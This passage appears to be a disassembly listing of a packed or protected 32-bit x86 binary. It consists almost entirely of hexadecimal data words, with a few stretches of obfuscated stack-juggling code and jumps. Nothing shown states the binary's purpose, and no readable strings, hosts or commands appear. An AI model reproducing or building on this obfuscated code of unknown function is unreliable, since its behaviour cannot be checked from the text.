3309A38Ah, 98E8F52Ah, 45A43085h dd 4018EFh, 0BAE71B40h, 0E54C3511h, 3052E29Ah, 23B908FBh dd 0AE6E0D33h, 0A8F9AE84h, 333A37B5h, 5E6ADD14h, 0C87EE823h dd 455FC83Fh, 0BD8AB896h, 4C6E77A8h, 4902E52Eh, 36DD703Eh dd 6EBB4197h, 90B8369Fh, 0D8133511h, 0DC61C7F1h, 9CD4051Eh dd 73304853h, 4330ECF8h, 701B706Dh, 0CA6B9BD7h, 0CB8063A8h dd 333A54BCh, 72F1DA15h, 0F86CA566h, 7B2CEE2Ch, 651FD055h dd 0F6A47EF8h, 7BB84830h, 8C65FB41h, 0D01116F4h, 62C8767Ah dd 2C7684A8h, 3EEB48D8h, 0F1DA132Ah, 0CC1D2672h, 3FF0755Bh dd 99AFFD4Ch, 9EC72058h, 30F64460h, 0DDA760CBh, 74A5BE8Ah dd 72B9DBD3h, 0A0F3DAF3h, 9B5236DDh, 919CB4B2h, 76C9B873h dd 319A2022h, 7E0E6CE8h, 2162270Eh, 3304BFE6h, 0CC3919AFh dd 161A1664h, 0EC7ECAB1h, 93F200Bh, 0C78E26F3h, 30FDA057h dd 6FDE1537h, 0E8DB0366h, 2083AA36h, 0B79C51D4h, 0F073ACB1h dd 9A53EB21h, 1E5C19E2h, 0B535113Bh, 0B197EDBAh, 6AAE7EABh dd 0ABDF6B6Ch, 10944E09h, 0BB4E0000h, 0C17117Ah, 6DF2F6DFh dd 0C559AFB4h, 1F250368h, 3DEAE1CAh, 26BC044h, 0E4C12226h dd 5CB97E8Ch, 371CD154h, 2B470C5Fh, 80351AD2h, 0B14B530Eh dd 44901378h, 0A2D8F5C2h, 930F670h, 6F64C72Eh, 30F67013h dd 0C0E8B1B8h, 72C8E03Dh, 27A32EBh, 2E37103Eh, 7BD694F1h dd 0F479E7BAh, 0C643A0A0h, 183EBh, 7FCEEE00h, 0F6701856h dd 0EFB8B330h, 5A7344D9h, 30F67024h, 0E3C9F98Fh, 0A72AA794h dd 0ED3B755Ch, 0AB849A58h, 97ABE140h, 0DEF8C95Eh, 0DFF477BCh dd 36DD9DD4h, 61BE4795h, 427AF5B8h, 119D9B9Bh, 0E313FF35h dd 0FFD1034Eh, 44E073h, 1DE70000h, 18B534FFh, 36DD8CF1h dd 8EECE9B8h, 2535116Ch, 72E9D0Ah, 6C76E06Dh, 36123511h dd 9DDE7508h, 0C3197400h, 524E53Ah, 0C8h, 7E85D3A2h, 60CA20ADh dd 34813511h, 351160B6h, 0B8B3D21Dh, 0B24BB2EFh, 7092E8E5h dd 233930F6h, 8CF8C318h, 225AA57Ah, 0D1EB40C4h, 28A5F20Bh dd 30F670D2h, 0DD97FE79h, 0DC39F60Fh, 0F6759EABh, 8385D330h dd 3B75AAB3h, 14DFE9F0h, 0DF98ADB3h, 0F67478F6h, 8508F630h dd 837D8355h, 250E69C0h, 0A0DEF746h, 0B30F6C7h, 0EC41C420h dd 0EA21433Bh, 0AFA3B21Bh, 3B3236E0h, 2EE87C48h, 95FED91Ah dd 0F0508993h, 0DF6D3152h, 2356F183h, 3D00000Fh, 86E2CB2Ch dd 6147AC7Dh, 0C83805DEh, 949CF936h, 1B725B90h, 0F831CBAEh dd 5E939593h, 36EF7375h, 0ED42DB2Dh, 0D0FDCE80h, 351AD39Ah dd 4BC48131h, 151378B1h, 99F6DF10h, 0E260B24Bh, 0B9806B05h dd 0E0EDBC0Fh, 30F6708Ah, 0DC152B21h, 0D7705BA4h, 5AA37C81h dd 6E06D76Eh, 8467ACCEh, 0DD85E8CFh, 17964136h, 39EE3BC1h dd 7714508h, 56620000h, 86A742FAh, 5401867Fh, 4078B14Bh dd 0F6709585h, 1CD7F530h, 0BD920ADh, 0F97036E3h, 0F22B3206h dd 3CCE1AE9h, 0B87D8DFBh, 5E622700h, 0A7F40BC7h, 1AEBD02Eh dd 0E9F07B35h, 0C10F68Eh, 0BBDF4DDFh, 841CDF70h, 0E69DBh dd 1E67B00h, 0E237CC24h, 5B98AF99h, 3FF07672h, 914AD2D6h dd 7168D1B4h, 0D3D53EEBh, 0B98F944Dh, 1674CA9h, 80DA23FCh dd 0D454AA23h, 0D3FF351Ah, 78B14BB6h, 0DF101513h, 3CBE47A5h dd 0D27AB827h, 0B1CBD233h, 0FE49F9C5h, 11ADB667h, 79E6C142h dd 1421h, 8034A800h, 630F67Ah, 549E74C3h, 24D5461h, 0FFFFFDD6h dd 704A344Dh, 82A30F6h, 0C6B60C3h, 4536E30Bh, 0EBA5D9F2h dd 270E351Ah, 0B1303B62h, 0BA0DE27Bh, 55869DEBh, 1AEBD228h dd 29FE7935h, 0D8152818h, 69C25AA0h, 70BC9FB7h, 9B445CDFh dd 0DC2h, 43A88D9Ch, 200DDE65h, 99E23FC0h, 7D4697AFh, 0D338F10Bh dd 92AA0FB8h, 0F4747C59h, 50D2D63Fh, 0A3BA8E97h, 5A69614Ah dd 1AD4FD71h, 1D385635h, 0DE60B24Bh, 0A58C7701h, 0EA283D0Bh dd 4EF9952h, 0E67E4A3Dh, 94009435h, 0B84D9AA8h, 98358467h dd 30F67062h, 88B96EC9h, 0E7BA5FF2h, 140479h, 57A50000h dd 9A651FCCh, 8034500Dh, 5B30F67Ah, 0FFFD2110h, 0FACE7FFFh dd 46A41162h, 0ED30F670h, 0E6417B42h, 0E02B4921h, 78D9B401h dd 0C16836DDh, 772F2EB7h, 0FD493511h, 0B799B84Dh, 86D27400h dd 72ABB280h, 0DE96F13Ah, 6EFF3348h, 31185D18h, 1E25968h dd 34000000h, 30F6709Ah, 4B65BA4Ch, 330599E0h, 1DE8F52Ah dd 0CC1518Fh, 29FEC7FEh, 293CFE07h, 6873BCF4h, 7D1DF550h dd 9CAA30F6h, 538C916Eh, 96ADFB4Ah, 33106E18h, 5DA428A4h dd 2F4FD823h, 5FADC70Ch, 572E34C6h, 0B740B773h dd 0DC6147ACh, 0E2EC6903h, 6630F6FAh, 6AE97C8Ah, 1979E734h dd 180h, 0DC831AAEh, 82CC82DEh, 0B24B5805h, 5460437Dh dd 66E42EF9h, 780CF781h, 0BE40EA5Dh, 0BF810661h, 0A1CE14A6h dd 0D575D593h, 0B3D1E1CAh, 0D9CC8978h, 7836DDC2h, 1C1EC7F1h dd 783511C2h, 88CB5EECh, 7F74000Ch, 5Ah, 567FCE62h, 30F67018h dd 0BE4CB8B3h, 0ACCEA079h, 0EC48B13Ah, 40A4E2A4h, 0A81B62BFh dd 314D06D9h, 9A30F658h, 729DF653h, 3B36DDA4h, 48556EDh dd 7FE69E59h, 351144FFh, 0CEE633C9h, 3137E478h, 8358E32Bh dd 8D270EE9h, 0DF1D2D11h, 0A9FAFBBh, 74008647h, 0B93Ch dd 0B24BA300h, 5FE5437Dh, 7045B912h, 47EE30F6h, 30FF8D7Ch dd 6E426D3Ch, 69BFC542h, 9B3083D4h, 30F6D467h, 27865CCh dd 0A930F6D4h, 0F7E6FA8Eh, 0CB2DCBBBh, 978B01E0h, 0D834CA84h dd 3B019334h, 2E7ACD22h, 46A1DB1Ch, 0D2FFE0C1h, 1A30F69Ah dd 0F0313703h, 0F147FB8h, 27864D6Fh, 0E012CFAEh, 14975E36h dd 86EF3CC0h, 0DF419AA2h, 0DF6DCE81h, 93B922B2h, 4D00000Bh dd 16127BBCh, 0F1F7DC0Dh, 58A8B56Eh, 240C69C6h, 0EBE2CB20h dd 68C15B3Eh, 0CE232503h, 0A67F83E5h, 1DD26B5Dh, 400D5E30h dd 351AD72Ah, 0CE54F181h, 7018567Fh, 0B8B330F6h, 9643D9EFh dd 4DA2BB8Dh, 0B24B6B60h, 5460437Dh, 4210AE4Dh, 0F3C54273h dd 4AA02D6Ah, 0E130F6C9h, 0BE36E32Bh, 0E698169h, 0E897DE27h dd 0FA000003h, 0B1D3D849h, 240FDC67h, 0BD80845h, 0E57336E3h dd 9F28A5Fh, 0C78C5F2Eh, 351AEBABh, 93702900h, 8362A9CBh dd 310837CAh, 1D579E33h, 0FDC9C6B0h, 0B846A230h, 0DC052E25h dd 0EA734979h, 0BE31E368h, 0C02B6E2Bh, 35D6847h, 346F0000h dd 30F6704Ah, 0F670E203h, 955E7C30h, 8B42B912h, 750336DDh dd 1DDC6081h, 0B2C885BAh, 19351100h, 6B52F7DEh, 910A40C0h dd 0A9CBDF6Bh, 0AAD2Eh, 45A2A700h, 26F30878h, 9F54EBDDh dd 73ACB2B6h, 0D5061E6Ah, 0BD2495C8h, 1F6972A7h, 0E5C32809h dd 4DBB8065h, 441E67B8h, 0D7106E67h, 17BB351Ah, 7DB24B7Ah dd 5A91B343h, 0BA3E2EBh, 0DB1236E3h, 2BA073F2h, 351AEBD7h dd 0EBBB379Ch, 0D910351Ah, 80FAAF86h, 0C2D6A962h, 3706795Bh dd 0CB9237B0h, 5C192C78h, 1A0AFB77h, 0BE995035h, 3B6C3D06h dd 330F71F4h, 0C513925Dh, 0DC85EE43h, 30F690BAh, 0F8C50E2Ah dd 0C8BB7888h, 0EFD5B2BCh, 97300930h, 0C9263F0Dh, 0D61D3FBFh dd 0B2B08457h, 57F03B75h, 0DD5BAB7Eh, 792B0236h, 0DF6C04FBh dd 0FB3F9838h, 0D5000009h, 0BE8A9354h, 196F74A5h, 0E0C02D06h dd 4CA4815Eh, 431A63B8h, 8059E3D6h, 66BB4DBBh, 0DE172B1Dh dd 0B56AF3F5h, 389536A8h, 351AD8C2h, 1D2C6969h, 18B534FFh dd 36E30BD1h, 3A0EF178h, 2E7ACD26h, 6243C415h, 97210206h dd 0BF0EC5E7h, 0F90F716h, 5E774633h, 30F67020h, 74A9BD8Bh dd 81E8F33Ch, 0EE2547F7h, 71C3B61Fh, 0C36A36DDh, 6B211D41h dd 1DC6DEDFh, 982h, 368CD5Ch, 0E0CD1E25h, 59A27F80h, 3D06D76Fh dd 93F831CBh, 0D26A4FF8h, 34343C19h, 909296FFh, 0E37A4E57h dd 1AA9210Ah, 1AD93DB1h, 5DF89635h, 8F68FACEh, 0D31017F5h dd 0D2775E99h, 0C7A6778Eh, 17B06DF1h, 49A6BF8Dh, 50AE27F6h dd 0FB30F670h, 518A0C2Dh, 0A58C1D8Ch, 0D8E490E4h, 0F48DD2Ah dd 0F6A72846h, 5CA88330h, 935C14C9h, 440FA388h, 0BF79E6E7h dd 641CD969h, 80230E9Bh, 0A6000001h, 0E060B24Bh, 0CCD7081Eh dd 48604BB4h, 0C5D36177h, 0CCF839CEh, 3F3D0A60h, 322362D1h dd 794FD823h, 0E9B80BE4h, 0F6888EECh, 3E0A2530h, 73BCF425h dd 0DFFD9DD6h, 4DAAB88Ch, 6F83C833h, 0A130F688h, 2900439Ch dd 889348D3h, 855AE339h, 14A100EBh, 30F688D6h, 8655F27Dh dd 0DD85C6CDh, 0B4CC6736h, 11852929h, 51E14D35h, 67246573h dd 0DAA8DA79h, 18657EEh, 5BDE75h, 4B8574h, 1DCC0000h, 18B534FFh dd 36DD8CF1h, 84E79158h, 0D86FAFB0h, 0BF86611Bh, 246D3A05h dd 35116C3Ah, 319A6D5Eh, 35116CBDh, 0F00E4716h, 5B35116Ch dd 0D2108990h, 9DC29124h, 0B6A17400h, 0C6000000h, 0C51E2177h dd 11606298h, 0B96EC935h, 7DB24BFCh, 8A5FE543h, 0C75B91F2h dd 46B0566Eh, 9A7F1BE1h, 0ADB3147Fh, 0DF2D4798h, 26447146h dd 8D30F620h, 748AC3A2h, 0DF30F620h, 0BF200D14h, 30F6DC7Ah dd 6972ABB2h, 1E02B49h, 0DE67A4Eh, 5428CB9Ch, 35936E0h dd 346720F9h, 0E97E4A3Dh, 0F8CC9F08h, 5AAEB764h, 0D1B769C2h dd 2DF6E0Ch, 7D4E972h, 7B8E0000h, 0CC5751BAh, 2D32361Fh dd 8599EFF4h, 0DF6543A8h, 0FDAA210Ah, 42AB8084h, 2401E266h dd 9CF93ECCh, 775C9194h, 0EB074C1Fh, 40351ADAh, 0B14B134Eh dd 10151378h, 309D6CDFh, 30F670BAh, 6041C611h, 7DB24B6Bh dd 8F60E543h, 413FA6h, 49620000h, 50553A7h, 70DF13B8h dd 0FD7430F6h, 8811DA92h, 0AC1FD4F6h, 0E30BE627h, 0F3D8AB36h dd 351AEB7Fh, 0C18C1DD4h, 2A45E916h, 449DA2F6h, 4289ABC3h dd 90B8EAE3h, 200B330Fh, 55743Fh, 0CE5B0000h, 8FF3D2BAh dd 5DCAB8CAh, 75F43F5Dh, 13D456A2h, 94AA9E59h, 41C6215Bh dd 0DDE6BD00h, 9BD51C36h, 11364132h, 0C2169135h, 624E53Eh dd 905B79F8h, 2D11A411h, 8150CCC5h, 9EDB634h, 75D21DCFh dd 8D5C2F06h, 9EDAAC0h, 71D601CFh, 0B20D70h, 0CE540000h dd 7018567Fh, 0A5B330F6h, 0A4654CA1h, 8063A8CAh, 0D264FB31h dd 0C6EA86B7h, 2AFFC65Dh, 0E39C2E79h, 3CAC8736h, 6854D12Ch dd 0AE0C47DAh, 516773FBh, 7BEBD4B6h, 83AE7BA1h, 68h, 697FCEC6h dd 1066613Bh, 176B1056h, 0BC30F6ECh, 789A14B5h, 0E85B9CAEh dd 0F6EC8FE3h, 220D2430h, 97DE0A43h, 0FA7536E3h, 861F5EEAh dd 5AF98CBAh, 973FBB3h, 30h, 34FF1D50h, 3E067B5h, 0FCA7A165h dd 36933893h, 0F9FD2EA7h, 995036E3h, 0A3FC73C7h, 0BE73F4C0h dd 5E6C3D06h, 55361DB0h, 0D2D73FBh, 0B4000000h, 0F68A2234h dd 0FCFEF930h, 21FFFFFEh, 0B534FF1Dh, 0E30CB918h, 74411036h dd 351AECF6h, 388B925Dh, 0EB855AECh, 79FD8700h, 0A411905Bh dd 330F976Ah, 81D643D9h, 4E3B4E8Bh, 8BA94D67h, 817FF3D8h dd 1DD430F6h, 81CD21AAh, 0CF6630F6h, 0E47705E4h, 7707B901h dd 0C42F081Ah, 9CD3F843h, 3536E3B6h, 0E67D4B3Ah, 0E266B235h dd 1B8C7701h, 0A16A882Ah, 2A22F5DEh, 0A08B330Fh, 0BE778BC1h dd 0CC2D655h, 99D4513Bh, 0EF1273D4h, 23C91D48h, 0EA47D81Ah dd 0C13634D2h, 3F963F6Bh, 80E0CDD4h, 0B708A07Dh, 990EDB61h dd 0B908C3E1h, 6C04DD63h, 0B7D9E583h, 68E16884h, 0F5D2CBFh dd 0BB813BF8h, 0A2674EA7h, 0FB526AE1h, 4860CBAEh, 0F9B36CF2h dd 0ACC41D23h, 9F3032Fh, 8956E442h, 5652BB74h, 65913D4h dd 0BDF73032h, 0A4DAF372h, 0FAD3753h, 0C65D6324h, 0E2C55B15h dd 5344BA13h, 44EFAD37h, 8857E7C3h, 0BECABD7Ah, 6FFF40A2h dd 360F3211h, 4E38790Fh, 62466F38h, 50A407E0h, 875410CDh dd 1A5BDA88h, 52B6CE5Bh, 6775461Dh, 0E741F81Ch, 422E7BBh dd 811929F6h, 0F940AC9h, 0DF240F45h, 37FC1D82h, 46DE2A7Dh dd 192C3495h, 0CA5EACC4h, 76895F69h, 0FA5403BDh, 3703EE4Ch dd 844F6E07h, 7BB449BFh, 0E79FD169h, 0C95CAB5Bh, 0BE45EB14h dd 70A2D8F5h, 582C30F6h, 88A705CBh, 220D24A7h, 32AFC38Ah dd 361030F6h, 0DA6EBA08h dd 3846F19h, 72F5263Dh, 49DD2126h, 1DFF8D94h, 0F8BA405Fh dd 0ECC4EDBAh, 0D226995Eh, 0BA77884Eh, 0A6DE3902h, 2DA8CC5Dh dd 30F6422Eh, 9F29021Ah, 4F79B249h, 0AA90BE88h, 39063438h dd 0FEE7CC29h, 30F6BC3Ch, 8F77DB97h, 0A6F279E7h, 83FFD49Dh dd 2830F657h, 0A58E2601h, 0FF57C5E4h, 4B8CFFFFh, 0EFE420B2h dd 6E7A6EB9h, 33CA3E07h, 0C95CEAFAh, 26F97B49h, 82ED6DEDh dd 89582BC2h, 0F6D7AECCh, 7D2A0530h, 0DF66C171h, 2E25C10Eh dd 0D579E713h, 77h, 34FF1DBCh, 0F0D6E2B5h, 6099AD9Dh, 4BEA4BC4h dd 76C4EE3Dh, 0F67E215Dh, 58A38A30h, 54486CFh, 7CF736E3h dd 0F60D5B6Ch, 205E6425h, 3075550h, 0F8A18A22h, 97663CCAh dd 1AE5C03Eh, 47C06B35h, 7FCE0527h, 9228CF69h, 3A4E624Eh dd 3EEEDEB3h, 0C2693ED2h, 0F135989h, 821EEA33h, 55A5DF94h dd 9DEB5AA5h, 881E568Bh, 0D4E3D2BEh, 5CCDD4FFh, 3BC48Fh dd 1D0B0000h, 18B534FFh, 36E30BCEh, 8455EF7Dh, 527BCABDh dd 351AEB1Ch, 0A1EBBCB7h, 0BD4154A9h, 6BF24860h, 7F4697AFh dd 0D5654945h, 66945217h, 8766ADCFh, 0F909CCEh, 0DB042F33h dd 63FACE3Eh, 9009F28Ah, 0E265B548h, 0A58C7701h, 0F7283D0Bh dd 617A6074h, 619E6127h, 0CDEF8FB8h, 5D4A706h, 0F6243248h dd 8DC69930h, 30F62471h, 9F0813DAh, 0DD29CF36h, 765F6E36h dd 351129F8h, 7B19853h, 0DCD50A4h, 4DDA25F6h, 11291A04h dd 0C61B2C35h, 16C358AEh, 3193C85Eh, 0AF42AFCEh, 0F13BCBF7h dd 0E7BD4DD9h, 27518A91h, 242F4BDCh, 0C3740036h, 69h, 34FF1D86h dd 9196E2B5h, 1CD15450h, 450E9B64h, 36DD8C3Ah, 0F2BF4593h dd 116CA5D9h, 0DC270E35h, 6C0A606Dh, 0B6A13511h, 0CE4815AFh dd 0AA35116Ch, 0E911CBC1h, 0F781F74Ch, 9CE61452h, 3E4AA608h dd 11F05995h, 4D7BF235h, 5A7372EBh, 3511C824h, 0CC5DA48Fh dd 2A3AEh, 1004074h, 16E90000h, 11DC41BDh, 0C643EA35h dd 567FCE99h, 30F67018h, 0D9EFB8B3h, 8ED1EB44h, 17DF4AFAh dd 1D8A488Ah, 9F831CBh, 0BCF42D33h, 0F28CE2EBh, 0C2730F6h dd 4F106425h, 0F29BD7FCh, 393030F6h, 68C55860h, 0BA738A50h dd 0F71B2851h, 4AD330F6h, 3BD7A88h, 9F6ED138h, 0F6F6B836h dd 4FD81330h, 22FB0266h, 5FE3398Ah, 4B690186h, 9F6E2180h dd 7D66B349h, 30F6F601h, 0A98A9EAAh, 5CCDD41Fh, 0DDF9DC0Bh dd 56627536h, 394B1616h, 3EBC39A8h, 95351112h, 127589C2h dd 17DE3511h, 7642250Ch, 5A6B3CEDh, 6ED11A38h, 7799065h dd 0B3323D33h, 210ADF65h, 3CEC3DC7h, 0D992E956h, 0E752FD87h dd 0F9000001h, 42A68F68h, 2D1B60B9h, 0F4FCD91Ah, 5050BD72h dd 5F361FCCh, 0BC6DF7EAh, 12CF5157h, 0CA2B3F09h, 0A17E87E1h dd 14A10244h, 351AC0D6h, 4B38557Dh, 0DDE65B1h, 56EFD922h dd 42AD8284h, 0FF1D6479h, 96E2B534h, 0D8235D8Eh, 8CFB064Fh dd 9B5236DDh, 0FE7C5928h, 5535116Ch, 14AC7D87h, 3D47C02Bh dd 116CA690h, 0D8D9035h, 5CFC0BA1h, 3B755CD6h, 0EA8257EDh dd 0CB203B01h, 0D76773B1h, 59E94515h, 9E8DC4h, 4417E674h dd 1160F30Fh, 0D4915835h, 35116096h, 5A95323Dh, 0B5h, 567FCE3Dh dd 30F67018h, 0D9EFB8B3h, 0DE37B644h, 41A8416Ah, 64F84E66h dd 1248A62Fh, 55E330F6h, 323611D2h, 0D2EAF52Eh, 0F6173E0Bh dd 0BE6FF630h, 15CA5355h, 72B9DB5Bh, 57AB20F3h, 0FC30F616h dd 30F17775h, 43EABF78h, 0D4A1A4F0h, 0F61683FFh, 26012830h dd 19E12061h, 0E14836DDh, 13D8FA84h, 7EFF3B90h, 9D543307h dd 9546DE2Ah, 77A4B888h, 92EFC7D5h, 0E36C74D9h, 0CEh, 5FA48180h dd 3C19D269h, 95FE3334h, 49528B93h, 2F34E57Fh, 869E03B4h dd 0E8784855h, 44C6220Bh, 97AE9AE3h, 46657D46h, 1AC1F10Dh dd 19345A35h, 1378B14Bh, 0F6DF1015h, 0E5B24B99h, 1BBA46D7h dd 0E778677h, 30F63CF0h, 3689905Bh, 3C106E67h, 0B0BB30F6h dd 6B3A8D17h, 0F63C0C62h, 1B8CA730h, 96FF3035h, 49528B92h dd 7F09E67Fh, 3C37982Ch, 0A892A86Ah, 0D74496FFh, 0DF2B8A22h dd 904DD02Fh, 77A8BD8Bh, 43A0A0F4h, 0D668BEC6h, 932D0204h dd 0A03741A8h, 1AF58319h, 0D8EED8A8h, 74D3634Fh, 7F4D3CF1h dd 0CB27ACE5h, 6069DA54h, 0B61FEEC9h, 69DA5438h, 0E6CF5893h dd 0E31FB407h, 4869DA54h, 0D1038E1h, 33F98D0h, 62000000h dd 0B64B8DCAh, 5CE14771h, 0F13E983h, 0B8489ED6h, 61FB417Bh dd 122AF088h, 0C559AFD9h, 758A5068h, 1D2604BCh, 52FEB4CCh dd 0C281E289h, 4, 8704EA83h, 248B2414h, 0E7895724h, 4C781h dd 0EF810000h, 4, 5C243C87h, 51241489h, 0C181E189h, 4 dd 4E981h, 0C870000h, 3C895C24h, 9CFC6824h, 148B05ECh dd 4C48124h, 54000000h, 81243C8Bh, 4C4h, 4EC8100h, 89000000h dd 8B9240Ch, 1000000h, 591189F9h, 51243C8Bh, 0C181E189h dd 4, 8704C183h, 8B5C240Ch, 89572414h, 4C781E7h, 83000000h dd 3C8704C7h, 0E4E95C24h, 19FFFB91h, 0E1A5E99Bh, 0B48AB10Ch dd 0ECB2BEB8h, 0FFC50305h, 234FD8E0h, 0BE02114h, 67EA1625h dd 866AD12Ch, 2D2D2178h, 0BEB14D3Fh, 5237377Ah, 284C3240h dd 78E36C18h, 930AF73Fh, 3EAF1132h, 0BB11DD0Eh, 0B76EDE53h dd 6BB4A74Eh, 0DBEE2072h, 5B069F30h, 32318734h, 0EA791779h dd 5C06183Eh, 1DB5A44h, 29707748h, 54F0CE6Bh, 8C13F044h dd 0DF060F5Bh, 0B21A1C70h, 7CD1DC18h, 5E602D1Eh, 9404EB7Eh dd 0E96A77AEh, 513h, 95BB8389h, 92BE9C8Eh, 0ACBC9C85h dd 0A8A08487h, 0A9A79783h, 0D356D04h, 93403CDh, 173403CDh dd 1A321937h, 3D951434h, 99511098h, 0B6E013C6h, 1216A35h dd 0A291EC3Dh, 18D94D6Ah, 2ACF1C54h, 7B162CD0h, 0C8199AADh dd 4C6CB986h, 0E2DC1F6Eh, 0A3ADAD95h, 4C92B494h, 82C92C04h dd 0D02AE682h, 486EBE95h, 3F010572h, 96F7CBF3h, 0DF8E7945h dd 1F3F69BBh, 1216A31h, 0B2B60CFh, 0D2E7AF37h, 0C3755D6Eh dd 0FAD91465h, 0FB38FCFh, 0BDEE3A5Ch, 8FBA8883h, 0C9207E4Fh dd 0C1CB50F8h, 0BB87B7E3h, 953D0152h, 5DA1818Ah, 0E348310Ch dd 7AC3755Dh, 0EB656F6Bh, 0D967D8CFh, 6Ch, 4ECC9F1h, 1FC37529h dd 35FBEFCEh, 24D4097Dh, 0E16FDA40h, 15C6646Ah, 0E1CC2F78h dd 0AD8D99A7h, 7D6B7151h, 9EBAA8BAh, 5B1E7C4Dh, 0C3750FD7h dd 69731776h, 67D8A1F7h, 0EA7F0C24h, 5446FABCh, 1AC19h dd 52260000h, 60464478h, 0B49BCB17h, 6FB38Bh, 97D62717h dd 6E4C92B8h, 0D8260601h, 0CE5A7C6Fh, 0C552FEDCh, 0BD6DE3C3h dd 0E17A7D35h, 7ED4D453h, 0FA390A30h, 4F93AB97h, 0CF0F3807h dd 0A58581ECh, 863559h, 884076A0h, 715B69A3h, 0EF38116Dh dd 437BA493h, 0C7E7240Bh, 864E9AE4h, 704871DEh, 752CCDB3h dd 0B6F5C6C3h, 37B9A327h, 3567D8BEh, 8Bh, 226A35B1h, 0FCE63E1Ch dd 0B3FD2BE5h, 0D63D7849h, 59FDDBE8h, 5B01EC60h, 22FCA151h dd 92E3CC8Fh, 0D3A57038h, 0D0C375D9h, 55A99199h, 0F6C82B74h dd 2D9326EEh, 26C375D9h, 8EBB96D5h, 0DC0F6947h, 1465A6CFh dd 686E79C6h, 60E8EED8h, 0CAF1EFDBh, 125DA1F2h, 1BC71B3Bh dd 0B29D5670h, 465B999h, 0A5F27229h, 40F267D8h, 0F4000000h dd 8566452h, 0F0CEEE3Fh, 5DA18587h, 20A3A12h, 0FB8FD33Ch dd 36E45670h, 0CBF75575h dd 528D5DF3h, 0B1045A78h, 0C375E2CCh, 5D963053h, 0B8FB95E5h dd 0F0336799h, 0D8FAAB25h, 19967h, 352D0000h, 0C437E97Dh dd 5198E3A6h, 38175676h, 0B887CF0Fh, 5B7B5391h, 0C7E7270Ah dd 6F5392FBh, 842F0800h, 2BAC144h, 163991E2h, 0E3CA1036h dd 5771BE80h, 0CCDC2B77h, 0A02B94EAh, 561E9426h, 9EFCDCC9h dd 5D7D6C4Fh, 56FAC2CFh, 18B25399h, 5DF5F0BDh, 4694E5C9h dd 470F2F79h, 0BCF3D3F8h, 1A734F6Fh, 0D16915DBh, 43E1DC54h dd 55B8FB22h, 0AA0F5373h, 0C69D8CC4h, 8F1DBDEEh, 0B906B09Dh dd 81BEAD59h, 99B398B0h, 0E1E69B5h, 0DBED228h, 0C9ED3F8Dh dd 71108007h, 75CD61F1h, 0A41B8812h, 582500A0h, 126h, 3C6A356Ah dd 444CC41Eh, 93D18B73h, 0DEBF2D50h, 67D421F4h, 0F0C1C95Ch dd 30153AAAh, 80E3CA10h, 0F55B7BADh, 0CCB401C9h, 0C7C69247h dd 7058B7F6h, 0FF40106Eh, 45A88BB3h, 4347D43h, 18C3E73Bh dd 0D4FAD27Eh, 0E9FD9774h, 113E61F1h, 0FCCD1129h, 49C481h dd 28E0000h, 11A42EEDh, 0C375E37Fh, 62D72B74h, 0C375E29Eh dd 0DE3C000Bh, 0B9078E86h, 0C5247A88h, 0E69AE0C0h, 0D1E95575h dd 67847412h, 0F19722A4h, 0BC3755Ch, 22827643h, 0B081C375h dd 99B78075h, 7E5C4AD5h, 88BC3Fh, 2EA0000h, 12A72FEEh dd 0C95CE80Dh, 5AA5F9CAh, 77477272h, 5FF1C22Bh, 0A8F6D8F0h dd 92E56ED5h, 850546C6h, 89ADFF40h, 614547AAh, 1996D169h dd 0B6B3FEAFh, 7D35F977h, 0EEEC4451h, 7E056079h, 0B9998D72h dd 933B0465h, 0F2F953EBh, 1E8E4854h, 9FA47ADFh, 0F2C3CC85h dd 654943ACh, 0D0F66519h, 81C9CC20h, 0B12B1E34h, 24495C2h dd 93897F5Ah, 0B98AD2B5h, 2C724876h, 0A2529EDDh, 52A8889Dh dd 3D0B2272h, 54A57211h, 0EE024119h, 0FC12A72Fh, 0FBC96296h dd 216B54AAh, 2464331Dh, 42793C02h, 2136FC4Eh, 888020A6h dd 8B9DAAA6h, 0E1C23ABh, 8AF5CD28h, 5B5FA383h, 92BA16B0h dd 95B79C4Ch, 38089BB8h, 2C7D3E4Fh, 70B986CEh, 0D41B7248h dd 0CF8EEDE9h, 12h, 2C73231Bh, 0A315A0FDh, 0A0C375E2h dd 0D1380657h, 6652C492h, 0EB3D0A50h, 8388F7CBh, 25105FA3h dd 0B4E2CD11h, 434FB886h, 0F1D8277Bh, 79A691EDh, 18327D41h dd 6802E43Ah, 3CAFh, 68241489h, 3B3Ah, 50242C89h, 405E089h dd 2D000000h, 4, 5C240487h, 50243C89h, 79EABA52h, 0EAC17A5Eh dd 2E2C104h, 0F703EAC1h, 6EEA81D2h, 8110B862h, 979774EAh dd 5AD089B9h, 9365380Dh, 2CF8251Dh, 9D2D69FCh, 8923EF70h dd 8B5458C5h, 0C481243Ch, 4, 89EB8953h, 1C8B085Fh, 4C48124h dd 8B000000h db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_545FF7 ; --------------------------------------------------------------------------- db 3Ch, 4Fh, 40h dd 0B8258C63h, 5ECB84Ah, 0E0FFC503h, 34149582h, 0E0F9DE2h dd 30F11A85h, 2B2FF75Fh, 4365CB3Dh, 42785E8Eh, 11300526h dd 6887C12Ah, 59D6AFD8h, 0AA00C1h, 243F4894h, 0B9E68D8Dh dd 6A05ECh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0D77C8BC3h, 89931AEDh, 0E7281985h, 158D8905h dd 6605E723h, 0C7E7AEBEh, 0E708B985h, 6D6405h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 2EF322BEh, 45B58Bh, 0F18A05E7h, 0CF9BD8Bh, 85C705E7h dd 5E70C99h, 0 dd 15658D09h, 0B5FF05E7h, 5E7281Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0EBC35040h, 91BD8B82h, 0FF05E70Ch dd 0E732CD95h, 0AE905h, 69400000h, 3522A0D2h, 4F06B1D0h dd 95FF006Ah, 5E71A1Dh, 3DEBC08Bh, 8F48B78Ch, 0C52CF095h dd 0B3303502h, 0BE9E5B5Fh, 0B5193AB7h, 0A4822CD7h, 981707BDh dd 169DC88Ch, 5A27BF65h, 0E579947Ch, 0EF083899h, 0BD06BF7Eh dd 52AAD3A1h, 0DA8DBAF5h, 27D97379h, 0FE804h, 53C30000h dd 810909Fh, 0D20A6C77h, 0F749CBC3h, 0D99D8BC4h, 5F05E706h dd 0A540B966h, 5975C781h, 0D3810000h, 7EE2676Bh, 